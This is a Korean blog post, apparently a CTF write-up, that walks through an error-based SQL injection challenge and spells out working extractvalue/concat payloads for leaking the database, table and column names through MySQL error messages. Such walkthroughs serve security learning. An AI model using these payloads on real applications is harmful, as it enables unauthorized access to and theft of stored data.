[Normaltic's CTF] SQL Injection Error Based SQLi Basic

2024. 6. 5. 14:56정보보안 및 해킹/CTF

해당 게시물을 보기 전에 이 게시물을 보고 오십시오!

본 포스팅에서는 데이터베이스, 테이블이름, 컬럼이름, 데이터추출 등 상세한 내용을 다루지 않을 것 입니다.

두 잇 두 잇 츄우 두두두두잇 츄우

플래그를 찾으세요! Error Based이니까 에러 메세지가 나오는 문제일겁니다!

일단 아이디 란에 normaltic이 적혀있으니 검색해봅니다.

친절하게 아래쪽에 쿼리문이 출력됩니다.

싱글 따옴표로 감싸져 있다는 것을 알았으니, 싱글 따옴표를 하나 더 넣으면 에러메세지를 띄웁니다.

원래는 500에러메세지를 띄워야 할 것을, 백엔드쪽 개발자 분들이 개발 및 유지보수에 용이하도록 넣은 try / catch 코드가 지나치게 상세한 오류메세지를 도출할 경우 저렇게 상세한 내용을 나타내게 됩니다.

그럼 프로세스대로 공격을 진행해봅니다.

먼저, select문이 필터링 되고있는지 확인 여부와, 필터링이 안되고 있다면 Database이름을 뽑아내기 위해 이렇게 적어줍니다.

normaltic' and extractvalue('1', concat(0x3a, (SELECT Database()))) and '1'='1

일단 select는 필터링 되고있지 않고, Database이름도 출력이 되네요

그럼 다음 단계로 넘어가볼까요?

테이블 이름을 뽑아봅니다.

테이블 이름은 이전까지 뽑았던 방식과 같습니다.

select table_name from information_schema.tables where table_schema='DB이름'
> 1개 이상의 행이라면 limit을 사용하여 제한을 걸어준다
select table_name from information_schema.tables where table_schema='DB이름' limit [index],[count]

그래서 최종적으로 검색할 문구는 이렇게 됩니다.

normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='errSqli' limit 0,1))) and '1'='1

테이블 이름이 검색되었습니다. 그럼 다음 단계로 넘어갈까요?

컬럼 이름을 검색할 차례입니다. 컬럼 이름도 마찬가지로 이전과 같습니다.

select column_name from information_schema.columns where table_name='테이블이름' limit [index],[count]

그래서 최종적으로 검색할 문구는 이렇게 됩니다.

normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flagTable' limit 1,1))) and '1'='1

컬럼 이름은 flag였네요. 그럼 마지막 단계네요. 데이터를 뽑아볼까요?

플래그가 나왔습니다.